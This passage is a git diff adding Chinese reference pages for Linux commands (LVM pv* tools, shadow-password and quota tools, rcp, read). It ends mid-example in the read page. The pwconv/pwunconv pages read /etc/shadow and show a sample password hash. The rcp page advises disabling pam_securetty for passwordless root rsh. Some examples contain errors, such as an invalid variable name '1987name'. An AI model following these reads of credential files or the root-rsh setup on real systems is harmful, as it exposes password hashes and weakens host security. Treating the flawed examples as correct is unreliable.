a/LearnShell/LinuxCommands/pvchange.md b/LearnShell/LinuxCommands/pvchange.md new file mode 100644 index 0000000..0deeaab --- /dev/null +++ b/LearnShell/LinuxCommands/pvchange.md @@ -0,0 +1,43 @@ +pvchange +=== + +修改物理卷属性 + +## 补充说明 + +**pvchange命令** 允许管理员改变物理卷的分配许可。如果物理卷出现故障,可以使用pvchange命令禁止分配物理卷上的PE。 + +### 语法 + +``` +pvchange(选项)(参数) +``` + +### 选项 + +``` +-u:生成新的UUID; +-x:是否允许分配PE。 +``` + +### 参数 + +物理卷:指定要修改属性的物理卷所对应的设备文件。 + +### 实例 + +使用pvchange命令禁止分配指定物理卷上的PE。在命令行中输入下面的命令: + +``` +pvchange -x n /dev/sdb1 #禁止分配"/dev/sdb1"上的PE +``` + +输出信息如下: + +``` +Physical volume "/dev/sdb1" changed +1 physical volume changed / 0 physical volumes not changed +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pvck.md b/LearnShell/LinuxCommands/pvck.md new file mode 100644 index 0000000..e9d33da --- /dev/null +++ b/LearnShell/LinuxCommands/pvck.md @@ -0,0 +1,42 @@ +pvck +=== + +检测物理卷的LVM元数据的一致性 + +## 补充说明 + +**pvck命令** 用来检测物理卷的LVM元数据的一致性。默认情况下,物理卷中的前4个扇区保存着LVM卷标,可以使用`--labelsector`选项指定其他的位置(例如:数据恢复时)。 + +### 语法 + +``` +pvck(选项)(参数) +``` + +### 选项 + +``` +-d:调试模式; +-v:详细信息模式; +--labelsector:指定LVE卷标所在扇区。 +``` + +### 参数 + +物理卷:指定要检查的物理卷对应的设备文件。 + +### 实例 + +使用pvck命令检查物理卷`/dev/sdb1`。在命令行中输入下面的命令: + +``` +pvck -v /dev/sdb1 #检查物理卷元数据 +Scanning /dev/sdb1 +Found label on /dev/sdb1, sector 1, type=LVM2 001 +Found text metadata area: offset=4096, size=192512 +Found LVM2 metadata record at offset=125952, +size=70656, offset2=0 size2=0 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pvcreate.md b/LearnShell/LinuxCommands/pvcreate.md new file mode 100644 index 0000000..edef9ec --- /dev/null +++ b/LearnShell/LinuxCommands/pvcreate.md @@ -0,0 +1,115 @@ +pvcreate +=== + +将物理硬盘分区初始化为物理卷 + +## 补充说明 + +**pvcreate命令** 用于将物理硬盘分区初始化为物理卷,以便LVM使用。 + +### 语法 + +``` +pvcreate(选项)(参数) +``` + +### 选项 + +``` +-f:强制创建物理卷,不需要用户确认; +-u:指定设备的UUID; +-y:所有的问题都回答“yes”; +-Z:是否利用前4个扇区。 +``` + +### 参数 + +物理卷:指定要创建的物理卷对应的设备文件名。 + +### 实例 + +查看磁盘信息: + +``` +[root@localhost ~]# fdisk -l +Disk /dev/hda: 41.1 GB, 41174138880 bytes +255 heads, 63 sectors/track, 5005 cylinders +Units = cylinders of 16065 * 512 = 8225280 bytes + + Device Boot Start End Blocks id System +/dev/hda1 * 1 13 104391 83 Linux +/dev/hda2 14 1288 10241437+ 83 Linux +/dev/hda3 1289 1925 5116702+ 83 Linux +/dev/hda4 1926 5005 24740100 5 Extended +/dev/hda5 1926 2052 1020096 82 Linux swap / Solaris +/dev/hda6 2053 2235 1469916 8e Linux LVM +/dev/hda7 2236 2418 1469916 8e Linux LVM +/dev/hda8 2419 2601 1469916 8e Linux LVM +/dev/hda9 2602 2784 1469916 8e Linux LVM + +``` + +检查有无 PV 在系统上,然后将`/dev/hda6`到`/dev/hda9`建立成为PV格式 + +``` +[root@localhost ~]# pvscan +No matching physical volumes found #找不到任何的 PV 存在! +``` + +将6-9分区转成pv,注意大括号的用途: + +``` +[root@localhost ~]# pvcreate /dev/hda{6,7,8,9} + Physical volume "/dev/hda6" successfully created + Physical volume "/dev/hda7" successfully created + Physical volume "/dev/hda8" successfully created + Physical volume "/dev/hda9" successfully created +``` + +这就分別表示每个 PV 的信息与系统所有 PV 的信息: + +``` +[root@localhost ~]# pvscan + PV /dev/hda6 lvm2 [1.40 GB] + PV /dev/hda7 lvm2 [1.40 GB] + PV /dev/hda8 lvm2 [1.40 GB] + PV /dev/hda9 lvm2 [1.40 GB] + Total: 4 [5.61 GB] / in use: 0 [0 ] / in no VG: 4 [5.61 GB] +``` + +更详细的列示出系统上面每个 PV 信息: + +``` +[root@localhost ~]# pvdisplay + "/dev/hda6" is a new physical volume of "1.40 GB" + --- NEW Physical volume --- + PV Name /dev/hda6 #实际的 partition 分区名称 + VG Name #因为尚未分配出去,所以空白! + PV Size 1.40 GB #就是容量说明 + Allocatable NO #是否已被分配,结果是 NO + PE Size (KByte) 0 #在此 PV 內的 PE 大小 + Total PE 0 #共分割出几个 PE + free PE 0 #沒被 LV 用掉的 PE + Allocated PE 0 #尚可分配出去的 PE 数量 + PV UUID Z13Jk5-RCls-UJ8B-HzDa-Gesn-atku-rf2biN +....(底下省略).... +``` + +删除物理卷: + +``` +[root@localhost ~]# pvremove /dev/sdb2 +Labels on physical volume "/dev/sdb2" successfully wiped + +``` + +修改物理卷属性: + +``` +[root@localhost ~]# pvchange -x n /dev/sdb1 #禁止分配指定物理卷上的PE +Physical volume "/dev/sdb1" changed +1 physical volume changed / 0 physical volumes not changed +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pvdisplay.md b/LearnShell/LinuxCommands/pvdisplay.md new file mode 100644 index 0000000..f52f3f8 --- /dev/null +++ b/LearnShell/LinuxCommands/pvdisplay.md @@ -0,0 +1,46 @@ +pvdisplay +=== + +显示物理卷的属性 + +## 补充说明 + +**pvdisplay命令** 用于显示物理卷的属性。pvdisplay命令显示的物理卷信息包括:物理卷名称、所属的卷组、物理卷大小、PE大小、总PE数、可用PE数、已分配的PE数和UUID。 + +### 语法 + +``` +pvdisplay(选项)(参数) +``` + +### 选项 + +``` +-s:以短格式输出; +-m:显示PE到LE的映射。 +``` + +### 参数 + +物理卷:要显示的物理卷对应的设备文件名。 + +### 实例 + +使用pvdisplay命令显示指定的物理卷的基本信息。在命令行中输入下面的命令: + +``` +[root@localhost ~]# pvdisplay /dev/sdb1 #显示物理卷基本信息 +``` + +输出信息如下: + +``` +"/dev/sdb1" is a new physical volume of "101.94 MB" +--- NEW Physical volume --- +PV Name /dev/sdb1 +....省略部分输出内容...... +PV UUID FOXiS2-Ghaj-Z0Mf- cdVZ-pfpk- dP9p-ifIZXN +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pvremove.md b/LearnShell/LinuxCommands/pvremove.md new file mode 100644 index 0000000..d82b73d --- /dev/null +++ b/LearnShell/LinuxCommands/pvremove.md @@ -0,0 +1,39 @@ +pvremove +=== + +删除一个存在的物理卷 + +## 补充说明 + +**pvremove命令** 用于删除一个存在的物理卷。使用pvremove指令删除物理卷时,它将LVM分区上的物理卷信息删除,使其不再被视为一个物理卷。 + +### 语法 + +``` +pvremove(选项)(参数) +``` + +### 选项 + +``` +-d:调试模式; +-f:强制删除; +-y:对提问回答“yes”。 +``` + +### 参数 + +物理卷:指定要删除的物理卷对应的设备文件名。 + +### 实例 + +使用pvremove指令删除物理卷`/dev/sdb2`。在命令行中输入下面的命令: + +``` +pvremove /dev/sdb2 #删除物理卷 +Labels on physical volume "/dev/sdb2" successfully wiped + +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pvs.md b/LearnShell/LinuxCommands/pvs.md new file mode 100644 index 0000000..a030148 --- /dev/null +++ b/LearnShell/LinuxCommands/pvs.md @@ -0,0 +1,44 @@ +pvs +=== + +输出物理卷信息报表 + +## 补充说明 + +**pvs命令** 用于输出格式化的物理卷信息报表。使用pvs命令仅能得到物理卷的概要信息,如果要得到更加详细的信息可以使用pvdisplay命令。 + +### 语法 + +``` +pvs(选项)(参数) +``` + +### 选项 + +``` +--noheadings:不输出标题头; +--nosuffix:不输出空间大小的单位。 +``` + +### 参数 + +物理卷:要显示报表的物理卷列表。 + +### 实例 + +使用pvs命令显示系统中所有物理卷的信息报表。在命令行中输入下面的命令: + +``` +pvs #输出物理卷信息报表 +``` + +输出信息如下: + +``` +PV VG fmt Attr PSize PFree +/dev/sdb1 vg1000 lvm2 -- 100.00M 100.00M +/dev/sdb2 lvm2 -- 101.98M 101.98M +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pvscan.md b/LearnShell/LinuxCommands/pvscan.md new file mode 100644 index 0000000..c6aa46f --- /dev/null +++ b/LearnShell/LinuxCommands/pvscan.md @@ -0,0 +1,46 @@ +pvscan +=== + +扫描系统中所有硬盘的物理卷列表 + +## 补充说明 + +**pvscan命令** 会扫描系统中连接的所有硬盘,列出找到的物理卷列表。使用pvscan命令的`-n`选项可以显示硬盘中的不属于任何卷组的物理卷,这些物理卷是未被使用的。 + +### 语法 + +``` +pvscan(选项) +``` + +### 选项 + +``` +-d:调试模式; +-e:仅显示属于输出卷组的物理卷; +-n:仅显示不属于任何卷组的物理卷; +-s:短格式输出; +-u:显示UUID。 +``` + +### 实例 + +使用pvscan命令扫描当前系统中所有硬盘的物理卷,在命令行中输入下面的命令: + +``` +[root@localhost ~]# pvscan #扫描所有硬盘上的物理卷 +``` + +输出信息如下: + +``` +PV /dev/sdb1 lvm2 [101.94 MB] +PV /dev/sdb2 lvm2 [101.98 MB] +Total: 2 [203.92 MB] / in use: 0 [0 ] / in no VG: 2 [203.92 +MB] +``` + +说明:本例中,输出了两个物理卷,它们不属于任何卷组,是可被利用的物理卷。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pwck.md b/LearnShell/LinuxCommands/pwck.md new file mode 100644 index 0000000..4de1b92 --- /dev/null +++ b/LearnShell/LinuxCommands/pwck.md @@ -0,0 +1,53 @@ +pwck +=== + +用来验证系统认证文件内容和格式的完整性 + +## 补充说明 + +**pwck命令** 用来验证系统认证文件`/etc/passwd`和`/etc/shadow`的内容和格式的完整性。 + +### 语法 + +``` +pwck(选项)(参数) +``` + +### 选项 + +``` +-q:仅报告错误信息; +-s:以用户id排序文件“/etc/passwd”和“/etc/shadow”; +-r:只读方式运行指令。 +``` + +### 参数 + +* 密码文件:指定密码文件的路径; +* 影子文件:指定影子文件的路径。 + +### 实例 + +``` +pwck /etc/passwd +user 'lp': directory '/var/spool/lpd' does not exist +user 'news': directory '/var/spool/news' does not exist +user 'uucp': directory '/var/spool/uucp' does not exist +user 'www-data': directory '/var/www' does not exist +user 'list': directory '/var/list' does not exist +user 'irc': directory '/var/run/ircd' does not exist +user 'gnats': directory '/var/lib/gnats' does not exist +user 'nobody': directory '/nonexistent' does not exist +user 'syslog': directory '/home/syslog' does not exist +user 'couchdb': directory '/var/lib/couchdb' does not exist +user 'speech-dispatcher': directory '/var/run/speech-dispatcher' does not exist +user 'usbmux': directory '/home/usbmux' does not exist +user 'haldaemon': directory '/var/run/hald' does not exist +user 'pulse': directory '/var/run/pulse' does not exist +user 'saned': directory '/home/saned' does not exist +user 'hplip': directory '/var/run/hplip' does not exist +pwck:无改变 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pwconv.md b/LearnShell/LinuxCommands/pwconv.md new file mode 100644 index 0000000..9949efe --- /dev/null +++ b/LearnShell/LinuxCommands/pwconv.md @@ -0,0 +1,31 @@ +pwconv +=== + +用来开启用户的投影密码 + +## 补充说明 + +**pwconv命令** 用来开启用户的投影密码。Linux系统里的用户和群组密码,分别存放在名称为passwd和group的文件中, 这两个文件位于`/etc`目录下。因系统运作所需,任何人都得以读取它们,造成安全上的破绽。投影密码将文件内的密码改存在`/etc`目录下的shadow和gshadow文件内,只允许系统管理者读取,同时把原密码置换为"x"字符,有效的强化了系统的安全性。 + +### 语法 + +``` +pwconv +``` + +### 实例 + +``` +cat /etc/passwd | grep test +test:x:3001:3001::/home/test:/bin/sh +``` + +此时可以发现密码段是x + +``` +cat /etc/shadow | grep test +test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:15022:0:99999:7::: +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pwd.md b/LearnShell/LinuxCommands/pwd.md new file mode 100644 index 0000000..1ec2f46 --- /dev/null +++ b/LearnShell/LinuxCommands/pwd.md @@ -0,0 +1,32 @@ +pwd +=== + +绝对路径方式显示用户当前工作目录 + +## 补充说明 + +**pwd命令** 以绝对路径的方式显示用户当前工作目录。命令将当前目录的全路径名称(从根目录)写入标准输出。全部目录使用`/`分隔。第一个`/`表示根目录,最后一个目录是当前目录。执行pwd命令可立刻得知您目前所在的工作目录的绝对路径名称。 + +### 语法 + +``` +pwd(选项) +``` + +### 选项 + +``` +--help:显示帮助信息; +--version:显示版本信息。 + +``` + +### 实例 + +``` +[root@localhost ~]# pwd +/root +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/pwunconv.md b/LearnShell/LinuxCommands/pwunconv.md new file mode 100644 index 0000000..4cdc673 --- /dev/null +++ b/LearnShell/LinuxCommands/pwunconv.md @@ -0,0 +1,28 @@ +pwunconv +=== + +用来关闭用户的投影密码 + +## 补充说明 + +**pwunconv命令** 与pwconv功能相反,用来关闭用户的投影密码。它会把密码从shadow文件内,重回存到passwd文件里。 + +### 语法 + +``` +pwunconv +``` + +### 实例 + +``` +pwunconv //关闭影子密码 +cat /etc/passwd | grep test //发现密码已经在passwd文件中了 +test:$6$nYOEWamm$bz07nlv/.RgJufb3FAqJJeULfwybzgxmrWqbk7O4vI0KsT6N.ujrh6dDIUcAJdfjksyuyAFDPIngZeD3cgcf.0:3001:3001::/home/test:/bin/sh + +ls /etc/shadow //查看影子文件,提示没有这个文件或目录 +ls: cannot access /etc/shadow: No such file or directory +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/quota.md b/LearnShell/LinuxCommands/quota.md new file mode 100644 index 0000000..38375df --- /dev/null +++ b/LearnShell/LinuxCommands/quota.md @@ -0,0 +1,151 @@ +quota +=== + +显示磁盘已使用的空间与限制 + +## 补充说明 + +**quota命令** 用于显示用户或者工作组的磁盘配额信息。输出信息包括磁盘使用和配额限制。 + +### 语法 + +``` +quota(选项)(参数) +``` + +### 选项 + +``` +-g:列出群组的磁盘空间限制; +-q:简明列表,只列出超过限制的部分; +-u:列出用户的磁盘空间限制; +-v:显示该用户或群组,在所有挂入系统的存储设备的空间限制; +-V:显示版本信息。 +``` + +### 参数 + +用户或者工作组:指定要显示的用户或者工作组。 + +### 实例 + +我们可以限制某一群组所能使用的最大磁盘配额,而且可以再限制某一使用者的最大磁盘配额 ,好比做一个收费的应用,vip可以得到空间更大一些。另外,以 Link 的方式,来使邮件可以作为限制的配额(更改`/var/spool/mail` 这个路径),不2,需要重新再规划一个硬盘!直接使用 Link 的方式指向 /home (或者其它已经做好的 quota 磁盘)就可以!这通常是用在原本规划不好,但是却又不想要更动原有主机架构的情况中! + +要求:Linux 主机里面主要针对 quser1 及 quser2 两个使用者来进行磁盘配额, 且这两个使用者都是挂在 qgroup 组里面的。每个使用者总共有 50MB 的磁盘空间 (不考虑 inode) 限制!并且 soft limit 为 45 MB;而宽限时间设定为 1 天, 但是在一天之内必须要将多余的文件删除掉,否则将无法使用剩下的空间 ;gquota 这个组考虑最大限额,所以设定为 90 MB!(注意,这样设置的好处是富有弹性,好比现在的邮件服务,那么多用户,承诺给用户每人最大空间为数GB,然而人们不可能每人都会使用那么大的空间,所以邮件服务的总空间,实际上肯定不是注册客户数乘以数GB,否则这样得多大啊。) + +``` +[root@localhost ~]# groupadd qgroup +[root@localhost ~]# useradd -m -g qgroup quser1 +[root@localhost ~]# useradd -m -g qgroup quser2 +[root@localhost ~]# passwd quser1 +[root@localhost ~]# passwd quser2 +[root@localhost ~]# df ===> 自己找一个合适的分区来做实验,这里用/disk2 +Filesystem 1K-blocks Used Available Use% Mounted on +/dev/hda1 5952252 3193292 2451720 57% / +/dev/hdb1 28267608 77904 26730604 1% /disk2 +/dev/hda5 9492644 227252 8775412 3% /disk1 + +[root@localhost ~]# vi /etc/fstab +LABEL=/ / ext3 defaults 1 1 +LABEL=/disk1 /disk1 ext3 defaults 1 2 +LABEL=/disk2 /disk2 ext3 defaults,usrquota,grpquota 1 2 +/dev/hda3 swap swap defaults 0 0 +``` + +注意多了`usrquota,grpquota`,在`defaults,usrquota,grpquota`之间都没有空格,务必正确书写。这样就算加入了 quota 的磁盘格式了!不过,由于真正的 quota 在读取的时候是读取`/etc/mtab`这个文件的,而该文件需要重新开机之后才能够以/etc/fstab 的新数据进行改写!所以这个时候可以选择:重新开机 (reboot)。 + +重新`remount filesystem`来驱动设定值。 + +``` +[root@localhost ~]# umount /dev/hdb1 +[root@localhost ~]# mount -a +[root@localhost ~]# grep '/disk2' /etc/mtab +/dev/hdb1 /disk2 ext3 rw,usrquota,grpquota 0 0 +``` + +事实上,也可以利用 mount 的 remount 功能。 + +``` +[root@localhost ~]# mount -o remount /disk2 +``` + +这样就已经成功的将 filesystem 的 quota 功能加入。 + +扫瞄磁盘的使用者使用状况,并产生重要的 aquota.group 与 aquota.user: + +``` +[root@localhost ~]# quotacheck -avug +quotacheck: Scanning /dev/hdb1 [/disk2] done +quotacheck: Checked 3 directories and 4 files + +[root@localhost ~]# ll /disk2 +-rw------- 1 root root 6144 Sep 6 11:44 aquota.group +-rw------- 1 root root 6144 Sep 6 11:44 aquota.user +``` + +使用 quotacheck 就可以轻易的将所需要的数据给他输出了!但奇怪的是,在某些 Linux 版本中,不能够以 aquota.user(group) 来启动quota ,可能是因为旧版 quota 的关系, 所以就另外做了一个 link 文件按来欺骗 quota,这个动作非必要。(主要是学习这个思维很重要) + +``` +[root@localhost ~]# cd /disk2 +[root@localhost ~]# ln -s aquota.user quota.user +[root@localhost ~]# ln -s aquota.group quota.group +``` + +启动 quota 的限额: + +``` +[root@localhost ~]# quotaon -avug +/dev/hdb1 [/disk2]: group quotas turned on +/dev/hdb1 [/disk2]: user quotas turned on ===> 看到turned on,才是真的成功! +``` + +编辑使用者的可使用空间: + +``` +[root@localhost ~]# edquota -u quser1 +Disk quotas for user quser1 (uid 502): + Filesystem blocks soft hard inodes soft hard + /dev/hdb1 0 45000 50000 0 0 0 +[root@localhost ~]# edquota -p quser1 quser2 ===> 直接复制给quser2 +``` + +接下来要来设定宽限时间,还是使用 edquota + +``` +[root@localhost ~]# edquota -t +Grace period before enforcing soft limits for users: +time units may be: days, hours, minutes, or seconds + Filesystem Block grace period Inode grace period + /dev/hdb1 1days 7days +``` + +使用`quota -v`来查询: + +``` +[root@localhost ~]# quota -vu quser1 quser2 +Disk quotas for user quser1 (uid 502): + Filesystem blocks quota limit grace files quota limit grace + /dev/hdb1 0 45000 50000 0 0 0 +Disk quotas for user quser2 (uid 503): + Filesystem blocks quota limit grace files quota limit grace + /dev/hdb1 0 45000 50000 0 0 0 +``` + +注意,由于使用者尚未超过45 MB,所以 grace ( 宽限时间 ) 就不会出现。 + +编辑群组可使用的空间: + +``` +[root@localhost ~]# edquota -g qgroup +Disk quotas for group qgroup (gid 502): + Filesystem blocks soft hard inodes soft hard + /dev/hdb1 0 80000 90000 0 0 0 + +[root@localhost ~]# quota -vg qgroup +Disk quotas for group qgroup (gid 502): + Filesystem blocks quota limit grace files quota limit grace + /dev/hdb1 0 80000 90000 0 0 0 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/quotacheck.md b/LearnShell/LinuxCommands/quotacheck.md new file mode 100644 index 0000000..d886a02 --- /dev/null +++ b/LearnShell/LinuxCommands/quotacheck.md @@ -0,0 +1,49 @@ +quotacheck +=== + +检查磁盘的使用空间与限制 + +## 补充说明 + +**quotacheck命令** 通过扫描指定的文件系统,获取磁盘的使用情况,创建、检查和修复磁盘配额(quota)文件。执行quotacheck指令,扫描挂入系统的分区,并在各分区的文件系统根目录下产生quota.user和quota.group文件,设置用户和群组的磁盘空间限制。 + +### 语法 + +``` +quotacheck(选项)(参数) +``` + +### 选项 + +``` +-a:扫描在/etc/fstab文件里,有加入quota设置的分区; +-d:详细显示指令执行过程,便于排错或了解程序执行的情形; +-g:扫描磁盘空间时,计算每个群组识别码所占用的目录和文件数目; +-R:排除根目录所在的分区; +-u:扫描磁盘空间时,计算每个用户识别码所占用的目录和文件数目; +-v:显示指令执行过程。 +``` + +### 参数 + +文件系统:指定要扫描的文件系统。 + +### 实例 + +将所有的在`/etc/mtab`内,含有quota支持的partition进行扫描: + +``` +[root@linux ~]# quotacheck -avug +quotacheck: Scanning /dev/hdb1 [/disk2] done +quotacheck: Checked 3 directories and 4 files + +``` + +强制扫描已挂载的filesystem: + +``` +[root@linux ~]# quotacheck -avug -m +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/quotaoff.md b/LearnShell/LinuxCommands/quotaoff.md new file mode 100644 index 0000000..422ace6 --- /dev/null +++ b/LearnShell/LinuxCommands/quotaoff.md @@ -0,0 +1,30 @@ +quotaoff +=== + +关闭Linux内核中指定文件系统的磁盘配额功能 + +## 补充说明 + +**quotaoff命令** 用于关闭Linux内核中指定文件系统的磁盘配额功能。 + +### 语法 + +``` +quotaoff(选项)(参数) +``` + +### 选项 + +``` +-a:关闭在/etc/fstab文件里,有加入quota设置的分区的空间限制; +-g:关闭群组的磁盘空间限制; +-u:关闭用户的磁盘空间限制; +-v:显示指令执行过程。 +``` + +### 参数 + +文件系统:指定要关闭磁盘配额功能的文件系统。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/quotaon.md b/LearnShell/LinuxCommands/quotaon.md new file mode 100644 index 0000000..9264627 --- /dev/null +++ b/LearnShell/LinuxCommands/quotaon.md @@ -0,0 +1,30 @@ +quotaon +=== + +激活Linux内核中指定文件系统的磁盘配额功能 + +## 补充说明 + +**quotaon命令** 用于激活Linux内核中指定文件系统的磁盘配额功能。执行quotaon指令可开启用户和群组的才磅秒年空间限制,各分区的文件系统根目录必须有quota.user和quota.group配置文件。 + +### 语法 + +``` +quotaon(选项)(参数) +``` + +### 选项 + +``` +-a:开启在/ect/fstab文件里,有加入quota设置的分区的空间限制; +-g:开启群组的磁盘空间限制; +-u:开启用户的磁盘空间限制; +-v:显示指令指令执行过程。 +``` + +### 参数 + +文件系统:指定要激活磁盘配额功能的文件系统。 + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/rcconf.md b/LearnShell/LinuxCommands/rcconf.md new file mode 100644 index 0000000..bc5d9d6 --- /dev/null +++ b/LearnShell/LinuxCommands/rcconf.md @@ -0,0 +1,25 @@ +rcconf +=== + +Debian Linux下的运行等级服务配置工具 + +## 补充说明 + +**rcconf命令** 是Debian Linux下的运行等级服务配置工具,用以设置在特定的运行等级下系统服务的启动配置。 + +### 语法 + +``` +rcconf(选项) +``` + +### 选项 + +``` +--help:打印帮助信息; +--dialog:使用对话命令显示菜单; +--notermcheck:不按照终端属性来设置窗口尺寸。 +``` + + + \ No newline at end of file diff --git a/LearnShell/LinuxCommands/rcp.md b/LearnShell/LinuxCommands/rcp.md new file mode 100644 index 0000000..7846b71 --- /dev/null +++ b/LearnShell/LinuxCommands/rcp.md @@ -0,0 +1,125 @@ +rcp +=== + +使在两台Linux主机之间的文件复制操作更简单 + +## 补充说明 + +**rcp命令** 使在两台Linux主机之间的文件复制操作更简单。通过适当的配置,在两台Linux主机之间复制文件而无需输入密码,就像本地文件复制一样简单。 + +### 语法 + +``` +rcp(选项)(参数) +``` + +### 选项 + +``` +-p:保留源文件或目录的属性,包括拥有者、所属群组、权限与时间; +-r:递归处理,将指定目录下的文件与子目录一并处理; +-x:加密两台Linux主机间传送的所有信息。 +-D:指定远程服务器的端口号。 +``` + +同名用户的主目录。如果没有给出远程用户名,就使用当前用户名。如果远程机上的路径包含特殊shell字符,需要用反斜线`\\`、双引号`""`或单引号`''`括起来,使所有的shell元字符都能被远程地解释。需要说明的是,rcp不提示输入口令,它通过rsh命令来执行拷贝。 + +directory 每个文件或目录参数既可以是远程文件名也可以是本地文件名。远程文件名具有如下形式`rname@rhost:path`,其中rname是远程用户名,rhost是远程计算机名,path是这个文件的路径。 + +### 参数 + +源文件:指定要复制的源文件。源文件可以有多个。 + +### 实例 + + **rcp命令使用条件** + +如果系统中有`/etc/hosts`文件,系统管理员应确保该文件包含要与之进行通信的远程主机的项。配置过程: + +只对root用户生效 + +1、在双方root用户根目录下建立rhosts文件,并将双方的hostname加进去。在此之前应在双方的`/etc/hosts`文件中加入对方的ip和hostname +2、把rsh服务启动起来,redhat默认是不启动的。 +方法:用执行ntsysv命令,在rsh选项前用空格键选中,确定退出。然后执行`service xinetd restart`即可。 +3、到`/etc/pam.d/`目录下,把rsh文件中的`auth required /lib/security/pam_securetty.so`一行用“#”注释掉即可。(只有注释掉这一行,才能用root用户登录) + + **将当前目录下的 test1 复制到名为 webserver1 的远程系统:** + +``` +rcp test1 webserver1:/home/root/test3 +``` + +在这种情况下,test1 被复制到远程子目录 test3下,名称仍为 test1 。如果仅提供了远程主机名,rcp 将把 test1 复制到远程主目录下,名称仍为 test1 。 + + **还可以在目的目录中包含文件名。例如,将文件复制到名为 webserver1的系统中:** + +``` +rcp test1 webserver1:/home/root/test3 +``` + +在这种情况下,将 test1 复制到远程目录root 下并将其命名为 test3。 + + **从远程系统复制文件:要将远程系统中的文件复制到本地目录下:** + +``` +rcp remote_hostname:remote_file local_fileEnter +``` + + **将远程系统 webserver1中的 test2 复制到当前目录:** + +``` +rcp webserver1:/home/root/test2 .Enter +``` + +`.`是“当前目录”的简写形式。在这种情况下,远程目录中的 test2 被复制到当前目录下,名称仍为 test2 。 + +如果希望用新名称复制文件,请提供目标文件名。如果希望将 test2 复制到本地系统中的其他目录下,请使用以下绝对或相对路径名: + +``` +rcp webserver1:/home/root/test2 otherdir/ Enter +``` + +或者,如果希望用其他文件名将文件复制到其他目录下: + +``` +rcp webserver1:/home/root/test2 otherdir/otherfile Enter +``` + + **将目录复制到远程系统:** + +要将本地目录及其文件和子目录复制到远程系统,请同时使用 rcp 和 -r(递归)选项。 + +``` +rcp -r local_dir remote_hostname:remote_dir Enter +``` + +如果当前目录下没有 local_dir,则除本地目录名外,还需要提供相对路径名(自当前目录开始)或绝对路径名(自 / 顶级目录开始)。另外,如果主目录下没有 remote_dir,则 remote_dir 将需要一个相对路径(自主目录开始)或绝对路径(自 / 开始)。 + + **要将名为 work 的子目录完整地复制到 webserver1远程计算机中的主目录下名为 products 的目录,请键入以下内容:** + +``` +rcp -r work webserver1:/home/root/products Enter +``` + +此命令在`webserver1:/home/root/products`下创建名为 work 的目录及其全部内容(假定`/home/root/products`已存在于 webserver1中)。 + +本示例假定用户处于包含 work 的本地目录下。否则,必须提供该目录的相对或绝对路径,如`/home/root/work`。 + + **从远程系统复制目录:** + +要将远程目录及其所有文件和子目录复制到本地目录,请在以下语法中使用 rcp 和 -r(递归)选项。 + +``` +rcp –r remote_hostname:remote_dir local_dir Enter +``` + +要将名为 work 的远程目录复制到当前目录,请键入以下内容: + +``` +rcp –r webserver1:/home/root/work .Enter +``` + +`.`表示当前目录。将在此目录下创建 work 目录。 + + + diff --git a/LearnShell/LinuxCommands/read.md b/LearnShell/LinuxCommands/read.md new file mode 100644 index 0000000..f075143 --- /dev/null +++ b/LearnShell/LinuxCommands/read.md @@ -0,0 +1,180 @@ +read +=== + +从键盘读取变量值 + +## 补充说明 + +**read命令** 从键盘读取变量的值,通常用在shell脚本中与用户进行交互的场合。该命令可以一次读取多个变量的值,变量和输入的值都需要使用空格隔开。在read命令后面,如果没有指定变量名,读取的数据将被自动赋值给特定的变量REPLY + +### 语法 + +``` +read(选项)(参数) +``` + +### 选项 + +``` +-p:指定读取值时的提示符; +-t:指定读取值时等待的时间(秒)。 +``` + +### 参数 + +变量:指定读取值的变量名。 + +### 实例 + +下面的列表给出了read命令的常用方式: + +``` +read 1987name +从标准输入读取输入并赋值给变量1987name。 +``` + +``` +read first last +从标准输入读取输入到第一个空格或者回车,将输入的第一个单词放到变量first中,并将该行其他的输入放在变量last中。 +``` + +``` +read +从标准输入读取一行并赋值给特定变量REPLY。 +``` + +``` +read -a arrayname +把单词清单读入arrayname的数组里。 +``` + +``` +read -p "text" +打印提示(text),等待输入,并将输入存储在REPLY中。 +``` + +``` +read -r line +允许输入包含反斜杠。 +``` + +``` +read -t 3 +指定读取等待时间为3秒。 +``` + +``` +read -n 2 var +从输入中读取两个字符并存入变量var,不需要按回车读取。 +``` + +``` +read -d ":" var +用定界符“:”结束输入行。 +``` + +## read命令示例 + +从标准输入读取输入并赋值给变量1987name。 + +``` +#read 1987name #等待读取输入,直到回车后表示输入完毕,并将输入赋值给变量answer +HelloWorld #控制台输入Hello + +#echo $1987name #打印变量 +HelloWorld +``` + +等待一组输入,每个单词之间使用空格隔开,直到回车结束,并分别将单词依次赋值给这三个读入变量。 + +``` +#read one two three +1 2 3 #在控制台输入1 2 3,它们之间用空格隔开。 + +#echo "one = $one, two = $two, three = $three" +one = 1, two = 2, three = 3 +``` + +REPLY示例 + +``` +#read #等待控制台输入,并将结果赋值给特定内置变量REPLY。 +This is REPLY #在控制台输入该行。 + +#echo $REPLY #打印输出特定内置变量REPLY,以确认是否被正确赋值。 + +This is REPLY +``` + +-p选项示例 + +``` +#read -p "Enter your name: " #输出文本提示,同时等待输入,并将结果赋值给REPLY。 +Enter you name: stephen #在提示文本之后输入stephen + +#echo $REPLY +stephen +``` + +等待控制台输入,并将输入信息视为数组,赋值给数组变量friends,输入信息用空格隔开数组的每个元素。 + +``` +#read -a friends +Tim Tom Helen + +#echo "They are ${friends[0]}, ${friends[1]} and ${friends[2]}." +They are Tim, Tom and Helen. +``` + + **补充一个终端输入密码时候,不让密码显示出来的例子。** + +方法1: + +``` +#!/bin/bash +read -p "输入密码:" -s pwd 